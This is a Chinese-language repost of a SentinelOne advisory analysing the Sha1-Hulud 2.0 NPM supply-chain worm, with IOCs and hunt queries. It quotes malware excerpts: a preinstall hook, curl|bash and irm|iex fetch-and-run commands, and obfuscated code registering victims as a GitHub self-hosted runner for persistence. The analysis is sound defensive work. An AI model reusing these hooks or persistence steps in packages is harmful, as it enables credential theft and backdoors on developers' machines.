深度解析Sha1-Hulud蠕虫2.0:新型NPM供应链攻击的技术剖析与防御

本文深入剖析了名为“Sha1-Hulud”的新一波NPM供应链攻击。该恶意软件通过“preinstall”脚本触发,窃取AWS、Azure、GCP凭证并利用GitHub Actions建立持久化。文章详细介绍了其技术细节、攻击目标、检测方法与缓解建议。

防御Sha1-Hulud:蠕虫再临

Shai-Hulud蠕虫2.0是NPM供应链攻击的一次重大升级,它现在能够在preinstall阶段执行,以窃取AWS、Azure和GCP的凭据,并通过GitHub Actions建立持久化访问。

以下SentinelOne紧急报告已于2025年11月25日(星期二)发送给所有SentinelOne客户和合作伙伴。报告包含了对新变种战术的深入分析、我们的实时检测态势,以及保护您环境所需的关键、立即的行动。

Sha1-Hulud:蠕虫再临

文档类型: Wayfinder紧急报告 TLP: 绿色 发布日期: 2025年11月25日 网络风险评级:研究日期: 2025年11月24日 关联威胁活动: 供应链攻击

关键要点

  • 新一波受感染的NPM软件包正在导致大规模的供应链攻击。
  • 与之前的攻击相比,此攻击展示了额外的能力。
  • 受害者应立即更改其令牌和密钥,包括与任何受影响云环境关联的凭据。

技术细节

概述

“Sha1-Hulud”是一场持续进行的NPM供应链攻击的名称,根据公开信息,其最早始于2025年11月21日。新的攻击与之前的“Shai Hulud”相似,但包含了额外的功能,并且由不同的受感染软件包触发。新攻击的名称来源于恶意软件作者在存放泄露数据的GitHub仓库中的描述: 图1:包含“Sha1-Hulud”受害者泄露数据的公开GitHub仓库 虽然攻击有相似之处,但新攻击与之前的略有不同,目前尚不清楚两次攻击是否来自同一个威胁行为者。 当前的攻击已经影响了多个流行软件包,例如:

  • Postman
  • Zapier
  • AsyncAPI 受影响软件包的完整列表可以在[此处]找到。

执行与持久化

与之前使用“postinstall”触发恶意软件执行的攻击不同,“Sha1-Hulud”攻击利用“preinstall”来执行恶意软件:

1
2
3
"scripts": {
    "preinstall": "node setup_bun.js"
}

恶意软件下载合法的“bun”工具来协调当前攻击:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
async function downloadAndSetupBun() {
    try {
        let command;
        if (process.platform === 'win32') {
            // Windows: 使用 PowerShell 脚本
            command = 'powershell -c "irm bun.sh/install.ps1|iex"';
        } else {
            // Linux/macOS: 使用 curl + bash 脚本
            command = 'curl -fsSL https://bun.sh/install | bash';
        }
        ...
        const environmentScript = path.join(__dirname, 'bun_environment.js');
        if (fs.existsSync(environmentScript)) {
            runExecutable(bunExecutable, [environmentScript]);
        } else {
            process.exit(0);
        }

文件“bun_environment.js”是“Sha1-Hulud”攻击中添加到受感染软件包的一个经过混淆的JavaScript恶意软件。 该脚本会创建额外的文件,例如用于数据泄露的“cloud.json”、“contents.json”、“environment.json”和“truffleSecrets.json”,以及用于持久化的“discussion.yaml”。 随后,有效负载将受感染机器注册为一个名为“SHA1HULUD”的自托管运行器:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
let _0x449178 = await this.octokit.request("POST /repos/{owner}/{repo}/actions/runners/registration-token", {
    'owner': _0x349291,
    'repo': _0x2b1a39
});
if (_0x449178.status == 0xc9) {
    let _0x1489ec = _0x449178.data.token;
    if (a0_0x5a88b3.platform() === 'linux') {
        await Bun.$`mkdir -p $HOME/.dev-env/`;
        await Bun.$`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/download/v2.330.0/actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir() + "/.dev-env").quiet();
        await Bun.$`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir() + "/.dev-env");
        await Bun.$`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${_0x349291}/${_0x2b1a39} --unattended --token ${_0x1489ec} --name "SHA1HULUD"`.cwd(a0_0x5a88b3.homedir() + "/.dev-env").quiet();
        await Bun.$`rm actions-runner-linux-x64-2.330.0.tar.gz`.cwd(a0_0x5a88b3.homedir() + "/.dev-env");
        Bun.spawn(["bash", '-c', "cd $HOME/.dev-env && nohup ./run.sh &"]).unref();
    } else {
        if (a0_0x5a88b3.platform() === "win32") {
            // ... Windows 相关代码 ...
        } else {
            if (a0_0x5a88b3.platform() === "darwin") {
                // ... macOS 相关代码 ...
            }
        }
    }
}

为了持久化,恶意软件添加了一个名为“.github/workflows/discussion.yaml”的工作流程,其中包含一个注入漏洞,允许威胁行为者在仓库讨论部分写入特制的消息。随后,该消息会在注册为运行器的受感染主机上执行代码。 图2:GitHub中的讨论部分

影响与目标

与之前仅针对软件开发环境的攻击不同,此次攻击还会窃取AWS、GCP和Azure的密钥,这些密钥可能允许威胁行为者在云环境中横向移动。此类信息被保存到“cloud.json”文件中: 图3:包含空云信息的Base64编码Json 图3中的Base64解码后如下:

1
{"aws":{"secrets":[]},"gcp":{"secrets":[]},"azure":{"secrets":[]}}

文件的创建并不一定意味着云密钥已被窃取,因为配置可能为空。 威胁行为者在此次新攻击中还使用了Trufflehog来窃取与开发环境相关的密钥,例如GitHub和NPM的密钥与令牌——这是之前在“Shai-Hulud”攻击中见过的类似战术。 虽然攻击者的确切动机目前未知,但成功的感染不仅会导致知识产权和私有代码的盗窃,还可能窃取云密钥,从而允许在云环境中进行更广泛的入侵。持久化能力允许威胁行为者在受感染主机上执行恶意代码,该主机是受害者开发环境内的资产。

SentinelOne检测能力

端点保护(EPP)

SentinelOne EPP行为AI引擎持续监控与供应链攻击和蠕虫传播相关的可疑活动,包括:

  • 恶意脚本和软件包的执行
  • CI/CD工作流中未经授权的文件修改
  • 权限提升和凭据滥用
  • 可疑的运行时安装和基于网络的脚本执行

平台检测规则

SentinelOne平台检测库包含用于检测Shai-Hulud蠕虫活动多个攻击阶段的规则:

  • 潜在恶意NPM软件包执行 – 检测由Shai-Hulud使用的已知恶意npm软件包的执行
  • Shai-Hulud蠕虫工作流文件写入活动 – 识别对GitHub Actions工作流的未经授权修改和恶意负载部署
  • Shai-Hulud通过网络获取安装Bun运行时 – 捕获通过远程脚本执行进行的可疑Bun运行时安装
  • Shai-Hulud无人值守GitHub运行器注册 – 检测具有恶意特征的自托管GitHub运行器的自动注册

威胁狩猎

Wayfinder威胁狩猎团队正在主动进行狩猎,利用与此新兴威胁相关的威胁情报。如果在您的环境中识别出任何可疑活动,我们将立即通知您组织指定的升级联系人。

建议

Wayfinder威胁狩猎为立即行动和战略缓解提供以下建议:

  1. 启用上述部分中的相关平台检测规则。
  2. 启用Agent Live Security Update以获取实时更新。
  3. 移除并更换受感染的软件包。
  4. 尽可能固定软件包版本。
  5. 在CI中尽可能禁用npm postinstall脚本。
  6. 撤销并重新生成npm令牌、GitHub密钥、SSH密钥和云提供商凭据。
  7. 为开发者和CI/CD账户强制执行基于硬件的多因素认证(MFA)。

HuntOps的战术工具

失陷指标(IOCs)

类型 描述
SHA1 3d7570d14d34b0ba137d502f042b27b0f37a59fa bun_environment.js
SHA1 d60ec97eea19fffb4809bc35b91033b52490ca11 bun_environment.js
SHA1 8de87cf4fbdd1b490991a1ceb9c1198013d268c2 bun_environment.js
SHA1 f37c6179739cf47e60280dd78cb1a86fd86a2dcf bun_environment.js
SHA1 91429fbfef99fa52b6386d666e859707a07844b2 bun_environment.js
SHA1 ba08d2fcc6cd1c16e4022c5b7af092a4034ceedc bun_environment.js

狩猎查询

查询1:SHA1HULUD运行器执行

1
dataSource.name = 'SentinelOne' and event.type = 'Process Creation' and src.process.cmdline contains '--name SHA1HULUD' and src.process.cmdline contains '--unattended --token '

查询2:SHA1HULUD恶意JS

1
dataSource.name = 'SentinelOne' AND tgt.file.sha1 in ("3d7570d14d34b0ba137d502f042b27b0f37a59fa","d60ec97eea19fffb4809bc35b91033b52490ca11","8de87cf4fbdd1b490991a1ceb9c1198013d268c2","f37c6179739cf47e60280dd78cb1a86fd86a2dcf","91429fbfef99fa52b6386d666e859707a07844b2","ba08d2fcc6cd1c16e4022c5b7af092a4034ceedc") and src.process.name contains 'node'

查询3:可能与SHA1HULUD关联的可疑“bun_environment.js”文件

1
dataSource.name = 'SentinelOne' AND tgt.file.size>7000000 AND (tgt.file.path contains '/bun_environment.js' or tgt.file.path contains '\\bun_environment.js') AND !(tgt.file.sha1 in ("3d7570d14d34b0ba137d502f042b27b0f37a59fa","d60ec97eea19fffb4809bc35b91033b52490ca11","8de87cf4fbdd1b490991a1ceb9c1198013d268c2","f37c6179739cf47e60280dd78cb1a86fd86a2dcf","91429fbfef99fa52b6386d666e859707a07844b2","ba08d2fcc6cd1c16e4022c5b7af092a4034ceedc"))
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计